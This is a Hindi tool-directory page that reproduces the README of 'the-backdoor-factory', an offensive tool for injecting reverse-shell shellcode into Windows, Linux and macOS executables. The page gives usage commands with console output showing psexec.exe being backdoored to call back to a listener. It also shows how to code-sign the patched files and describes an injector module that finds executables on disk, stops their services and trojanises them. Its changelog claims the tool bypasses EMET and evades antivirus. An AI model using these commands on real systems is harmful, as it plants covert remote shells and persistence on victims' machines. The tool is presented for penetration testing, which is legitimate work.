Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
the-backdoor-factory — Patch PE, ELF, Mach-O बाइनरी को शेलकोड के साथ पैच करें, विकास में नया संस्करण, केवल प्रायोजकों के लिए उपलब्ध | Kitploit
उपकरण/GitHubGitHub/secretsquirrel/the-backdoor-factory
शोषणरिवर्स इंजीनियरिंगशेलकोडपोस्ट-शोषणमालवेयर विश्लेषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंटबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Patch PE, ELF, Mach-O बाइनरी को शेलकोड के साथ पैच करें, विकास में नया संस्करण, केवल प्रायोजकों के लिए उपलब्ध

रिपॉजिटरी देखेंवेबसाइट
3.4k7742 साल पहलेKitploit द्वारा समीक्षित

बैकडोर फैक्ट्री का नया संस्करण उपलब्ध है! यहां पहुंचें: https://github.com/sponsors/secretsquirrel

चेतावनी: पुल रिक्वेस्ट को अनदेखा कर बंद कर दिया जाएगा।

द बैकडोर फैक्ट्री (BDF)

केवल सुरक्षा पेशेवरों और शोधकर्ताओं के लिए।

BDF का लक्ष्य एक्जीक्यूटेबल बाइनरी को उपयोगकर्ता की इच्छित शेलकोड के साथ पैच करना और प्रीपैच्ड अवस्था के सामान्य निष्पादन को जारी रखना है।

चैट में शामिल हों https://gitter.im/secretsquirrel/the-backdoor-factory ब्लैक हैट आर्सेनल

ब्लैक हैट यूएसए 2015:

root@kitploit:~
वीडियो: https://www.youtube.com/watch?v=OuyLzkG16Uk

पेपर: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

श्मूकॉन 2015:

root@kitploit:~
वीडियो: https://archive.org/details/joshpitts_shmoocon2015

पेपर: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

डर्बीकॉन 2014:

root@kitploit:~
वीडियो: http://www.youtube.com/watch?v=LjUN9MACaTs

डर्बीकॉन 2013:

root@kitploit:~
वीडियो: http://www.youtube.com/watch?v=jXLb2RNX5xs

इंजेक्शन मॉड्यूल डेमो: http://www.youtube.com/watch?v=04aJAex2o3U

स्लाइड्स: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

डेवलपर से संपर्क करें:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

ट्विटर:
@midnite_runr

BSD 3 खंड लाइसेंस के अंतर्गत

विकी देखें: https://github.com/secretsquirrel/the-backdoor-factory/wiki


स्थापना

डॉकर

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

पुराना स्कूल

निर्भरताएँ

#####OnionDuke का उपयोग करने के लिए आपको इंटेल मशीन पर होना चाहिए क्योंकि aPLib में ARM चिपसेट के लिए अभी तक समर्थन नहीं है।

Capstone engine को PyPi से स्थापित किया जा सकता है:

root@kitploit:~
sudo pip install capstone

Pefile, सबसे नया:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode (रिपॉजिटरी में शामिल):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

काली स्थापना:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

अन्य *NIX/MAC स्थापना:

root@kitploit:~
./install.sh

यह pefile स्थापित करने के लिए 3.01 pip के साथ Capstone स्थापित करेगा।

अद्यतन:

root@kitploit:~
./update.sh

समर्थन:

root@kitploit:~
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM लिटिल एंडियन x32), 
और Mach-O x86/x64 और FAT फ़ाइलों में ये प्रारूप

पैक की गई फ़ाइलें: PE UPX x86/x64

प्रायोगिक: OpenBSD x32 

कुछ एक्जीक्यूटेबल में अंतर्निहित सुरक्षाएँ होती हैं, इसलिए यह सभी बाइनरी पर काम नहीं करेगा। यह सलाह दी जाती है कि लक्ष्य बाइनरी को ग्राहकों को तैनात करने या अभ्यास में उपयोग करने से पहले उनका परीक्षण करें। मैं NSIS को बायपास करने की कगार पर हूँ, इसलिए इन जाँचों को बायपास करना भविष्य में शामिल किया जाएगा।

root@kitploit:~
रयान ओ'नील को बहुत-बहुत धन्यवाद --ryan 'at' codeslum <d ot> org--
उसके बिना, मैं अभी भी elf प्रारूप के साथ
बेवकूफी भरी चीजें करने की कोशिश कर रहा होता।
सिल्वियो सेसरे को भी धन्यवाद, जिनके 1998 के पेपर 
(http://vxheaven.org/lib/vsc01.html) पर ये ELF पैचिंग तकनीकें आधारित हैं।

हाल ही में कई बाइनरी पर परीक्षण किया गया।

./backdoor.py -h उपयोग: backdoor.py [options]


##विशेषताएँ:

###PE फ़ाइलें

root@kitploit:~
एक EXE/DLL में सभी कोडकेव्स ढूँढ सकता है।
डिफ़ॉल्ट रूप से, PE प्रमाणपत्र तालिका के पॉइंटर को साफ़ करता है, जिससे बाइनरी अहस्ताक्षरित हो जाती है।
कोडकेव्स या एक नए सेक्शन में शेलकोड इंजेक्ट कर सकता है।
पता लगा सकता है कि क्या किसी PE बाइनरी को उन्नत विशेषाधिकारों के साथ चलने की आवश्यकता है।
कोडकेव्स चुनते समय, आप निम्न कमांड का उपयोग कर सकते हैं:
  -Jump (j), कोडकेव कूदने के लिए
  -Single (s), अपने सभी शेलकोड को एक गुफा में पैच करने के लिए
  -Append (a), एक कोडकेव बनाने के लिए
  -Ignore (i या q), कोई बात नहीं, इस बाइनरी को अनदेखा करें
DLL को अनदेखा कर सकता है
आयात तालिका पैचिंग
स्वचालित पैचिंग (-m automtic)
Onionduke (-m onionduke)

###ELF फ़ाइलें

root@kitploit:~
टेक्स्ट सेगमेंट में 1000 बाइट (बाइट्स में) बढ़ाता है और उस कोड सेक्शन में शेलकोड इंजेक्ट करता है।

###Mach-O फ़ाइलें प्री-टेक्स्ट सेक्शन पैचिंग और हस्ताक्षर हटाना

###कुल मिलाकर

root@kitploit:~
उपयोगकर्ता यह कर सकता है:
  -कस्टम शेलकोड प्रदान करें।
  -एक्जीक्यूटेबल्स/डीएलएल की निर्देशिका को पैच करें।
  -केवल x32 या x64 बाइनरी को पैच करने के लिए चुनें।
  -BDF को अन्य पायथन प्रोजेक्ट्स में शामिल करें, pebin.py और elfbin.py देखें।

नमूना उपयोग:

###मौजूदा कोडकेव का उपयोग करके एक exe/dll पैच करें:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###एक कोड सेक्शन जोड़कर एक exe/dll पैच करें:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###exes की एक निर्देशिका पैच करें: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...आउटपुट README के लिए बहुत लंबा...


###उपयोगकर्ता द्वारा आपूर्ति की गई शेलकोड: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin इससे लक्ष्य विंडोज वर्कस्टेशन पर calc.exe पॉप हो जाएगा। बहुत 1337। बहुत pwn। वाह।


###PE कोड साइनिंग

BDF PE फ़ाइलों पर हस्ताक्षर कर सकता है यदि आपके पास कोड साइनिंग प्रमाणपत्र है। यह osslsigncode का उपयोग करता है। अपने साइनिंग प्रमाणपत्र और निजी कुंजी को certs/ निर्देशिका में रखें। इस ब्लॉग पोस्ट से openssl कमांड का उपयोग करके अपने प्रमाणपत्र तैयार करें: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

अपनी निजी कुंजी का पासवर्ड एक फ़ाइल में रखें (हाँ, ऐसे) बिल्कुल इस प्रकार:

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

अपने प्रमाणपत्रों का नाम बिल्कुल इस प्रकार रखें:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

आपकी certs/ निर्देशिका बिल्कुल इस प्रकार दिखनी चाहिए:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

PE कोड साइनिंग को -C फ़्लैग से इस प्रकार सक्षम करें:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

सफल रन पर आपको BDF आउटपुट में यह पंक्ति दिखनी चाहिए:

root@kitploit:~
[*] Code Signing Succeeded

###शिकार और बैकडोर: इंजेक्टर | केवल विंडोज इंजेक्टर मॉड्यूल डिस्क पर बैकडोर करने के लिए लक्ष्य एक्जीक्यूटेबल्स की तलाश करेगा। यह जाँच करेगा कि क्या आपने लक्ष्य को एक सेवा के रूप में पहचाना है, जाँच करेगा कि क्या प्रक्रिया चल रही है, प्रक्रिया और/या सेवा को मारेगा, एक्जीक्यूटेबल में शेलकोड इंजेक्ट करेगा, मूल फ़ाइल को file.exe.old या किसी अन्य पसंदीदा प्रत्यय के साथ सहेजेगा, और प्रक्रिया या सेवा को पुनरारंभ करने का प्रयास करेगा।
अपनी पसंद के लक्ष्यों के लिए 'injector' मॉड्यूल में पायथन डिक्शनरी "list_of_targets" संपादित करें।

root@kitploit:~
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

###परिवर्तन लॉग

####01/11/2016

  • दुर्लभ उदाहरणों में अनुचित पुनर्प्राप्ति का कारण बनने वाली एंट्री पॉइंट ट्रंकेशन बग को ठीक किया गया

####07/04/2016

  • प्रीप्रोसेसर के लिए BDFProxy में गतिशील पथों का समर्थन

####06/19/2016

  • प्रीप्रोसेसर और अन्य अनुकूलन जोड़े गए
  • प्रीप्रोसेसर उपयोगकर्ता को पेलोड इंजेक्शन से पहले बाइनरी को संशोधित करने की अनुमति देता है
  • -p फ़्लैग के साथ लागू करें
  • नमूने ./preprocessor/ में देखें

####12/20/2015

  • प्रमाणपत्र निर्देशिका खोजने के लिए BDF में निर्देशिका पथ जोड़े गए।

####12/18/2015

  • PE कोड साइनिंग समर्थन जोड़ा गया। आपको अपना स्वयं का कोड साइनिंग प्रमाणपत्र प्रदान करना होगा। यहां देखें: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

  • onionduke पैचिंग के लिए rsrc सेक्शन में बग फिक्स और PE हेडर में यादृच्छिक win32 संस्करण मान को हटाना

####11/13/2015

  • PE हेडर में हस्ताक्षर पॉइंटर साफ़ होने के बाद PE फ़ाइल का उचित ट्रंकेशन जोड़ा गया - उदाहरण के लिए, उचित अहस्ताक्षरकरण। जिसके परिणामस्वरूप IAT पैचिंग के लिए बेहतर समर्थन मिला

####10/19/2015

  • IAT निर्देशिका गुफा असाइनमेंट में बग ठीक किया गया जो BDF क्रैश का कारण बनता था
  • -A फ़्लैग के साथ सुविधा को वैकल्पिक बनाया गया

####10/13/2015

  • आयात तालिका निर्देशिका संशोधनों को एक नया सेक्शन जोड़ने से मौजूदा कोड गुफा का उपयोग करने में बदल दिया गया

####08/12/2015

  • PATCH_METHOD 'replace' जोड़ा गया - आपूर्ति की गई बाइनरी का एक सीधा PE कॉपी पास्ता

  • BDFProxy के साथ उपयोग के लिए अधिक

    उपयोग: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

  • ओवरलैप की दुर्लभ गुफाओं के लिए स्वचालित गुफा चयन के लिए स्थिरता फिक्स

####08/05/2015

  • BH USA अपडेट, w00t!
  • OnionDuke, -m onionduke का उपयोग करें * उपयोगकर्ता द्वारा आपूर्ति की गई exe और dll का समर्थन करता है * उपयोग: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • XP मोड = पहले के IAT-आधारित पेलोड XP, Wine, या Windows 98 का समर्थन नहीं करते थे। यदि आपको XP का समर्थन करने की आवश्यकता है तो -X फ़्लैग का उपयोग करें। मैं XP (और XP x64 नहीं) से कम किसी चीज़ का समर्थन नहीं कर रहा हूँ।
  • व्यवस्थापक के रूप में चलाने के लिए UAC प्रॉम्प्ट लागू करें। प्रायोगिक - PE मेनिफेस्ट को पैच करता है यदि requestExecutionLevel मौजूद है।
  • स्थिरता अपडेट: * 2+ कोड गुफाओं में गलत RVA गणना jmp बग को ठीक किया गया * यह निर्धारित करने के लिए बेहतर जाँच कि क्या IAT के लिए एक नया सेक्शन संलग्न डेटा में लिखेगा और इसलिए विफल होगा
  • गति में सुधार: * स्वचालित मोड (-m automatic) का उपयोग करते समय तेज़ कोड गुफा खोज * मेनिफेस्ट फ़ाइल खोजने के लिए तेज़ rsrc पार्सिंग

####5/01/2015

  • सिंगल गुफा पेलोड का उपयोग करते समय reverse_tcp_stager_threaded पेलोड में बग फिक्स

####4/28/2015

  • बाउंड इम्पोर्ट्स के लिए जाँच जोड़ी गई (बाउंड इम्पोर्ट वाली PE फ़ाइलों को पैच नहीं किया जाएगा)

####4/14/2015

बहुत सारे अपडेट:

  • PE फ़ाइलों के लिए स्वचालित पैचिंग (एक *_threaded पेलोड के साथ -m automatic का उपयोग करें)

  • x86/x64 PE फ़ाइलों के लिए नए IAT पेलोड

  • बस देखें: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 मैं आप लोगों से प्यार करता हूँ

  • IAT रिवर्स टीसीपी पेलोड का समर्थन करने के लिए PEs के लिए आयात पता तालिका पैचिंग जोड़ी गई जो विनएपीआई कॉल के लिए आयात तालिका का उपयोग करते हैं। यदि आप जिस बाइनरी को पैच कर रहे हैं उसमें LoadLibraryA और GetProcAddress नहीं है, उदाहरण के लिए, BDF इसे एक नए सेक्शन में एक नई आयात तालिका में पैच करेगा। x64/x86 PEs का समर्थन करता है।

  • x64 PEs के लिए iat_reverse_tcp जोड़ा गया।

  • बग फिक्स और सुधार

####1/1/2015

नया साल मुबारक हो!

दो नए OS X पेलोड! विलंब: delay_reverse_shell_tcp

-B 30 --> पेलोड को 30 सेकंड के लिए विलंबित करें, मुख्य कोड तुरंत चलता है।

BDF में निर्माण के लिए फर्म कैपस्टोन कमिट की सेटिंग, कैपस्टोन 'नेक्स्ट' रिपोजिटरी BDF को तोड़ता है।

साइथॉन कैपस्टोन कार्यान्वयन नल बाइट ट्रंकेशन समस्या को ठीक करने के लिए फिक्स

####12/27/2014

payloadtests.py जोड़ा गया

यह स्क्रिप्ट 'backdoored' में पैच की गई फ़ाइलों को आउटपुट करेगी जो उपयोगकर्ता को अपनी इच्छानुसार पेलोड का परीक्षण करने की अनुमति देगी। प्रत्येक पेलोड प्रकार उपयोग किए गए पोर्ट को एक से बढ़ाता है।

root@kitploit:~
उपयोग: payloadtest.py binary HOST PORT

####12/17/2014

OS X बीकनिंग पेलोड x86 और x64 के लिए: beaconing_reverse_shell_tcp

-B 15 --> बीकन समय 15 सेकंड पर सेट करें

BDFProxy के लिए OS X समर्थन के लिए बग फिक्स

####10/11/2014

PE UPX पैचिंग जोड़ी गई

####9/26/2014

Mach-O x86/x64 जोड़ा गया

x86 IAT पेलोड ऑप्टिमाइज़ेशन

####7/31/2014

ARM x32 LE ELF पैचिंग के लिए समर्थन जोड़ा गया

####7/22/2014

FreeBSD x32 ELF पैचिंग समर्थन जोड़ा गया

BSD 3 खंड लाइसेंस में परिवर्तन

####7/13/2014

Capstone शामिल किया गया: http://www.capstone-engine.org/

Capstone को जोड़ने की प्रक्रिया के दौरान, मैंने कोड की लगभग 500 पंक्तियाँ हटा दीं। यह काफी अद्भुत है।

loadliba_reverse_tcp का नाम बदलकर iat_reverse_tcp कर दिया गया।

गति के लिए छोटे अनुकूलन।

####5/30/2014

एक नया win86 शेलकोड जोड़ा गया: loadliba_reverse_tcp

  • जेरेड डेमॉट के निम्नलिखित शोध पर आधारित: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- इसका उल्लेख करने के लिए @bannedit0 का धन्यवाद।
  • यह शेलकोड एक रिवर्स टीसीपी कनेक्शन के लिए सभी आवश्यक एपीआई खोजने के लिए LoadLibraryA और GetProcAddress एपीआई का उपयोग करता है। अब स्टीफन फ्यूअर्स का एपीआई हैश लुकअप नहीं (जो अभी भी शानदार है)।
  • यह चोरी-छिपे नहीं है। यह स्थिति पर निर्भर है। लेकिन परिणाम बहुत अच्छे हैं (कोड गुफा कूदना): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • EMET 4.1 को बायपास करता है। कॉलर सुरक्षा इसे नहीं पकड़ती।
  • इस प्रकार, मैं इस विचार को एक एल्गोरिदम के साथ आगे बढ़ाऊंगा जो IAT में मौजूद एपीआई के आधार पर बाइनरी को कस्टम शेलकोड के साथ पैच करता है। इसमें वर्तमान win86 शेलकोड को इस विचार में पोर्ट करना शामिल है।
टूल डाउनलोड करें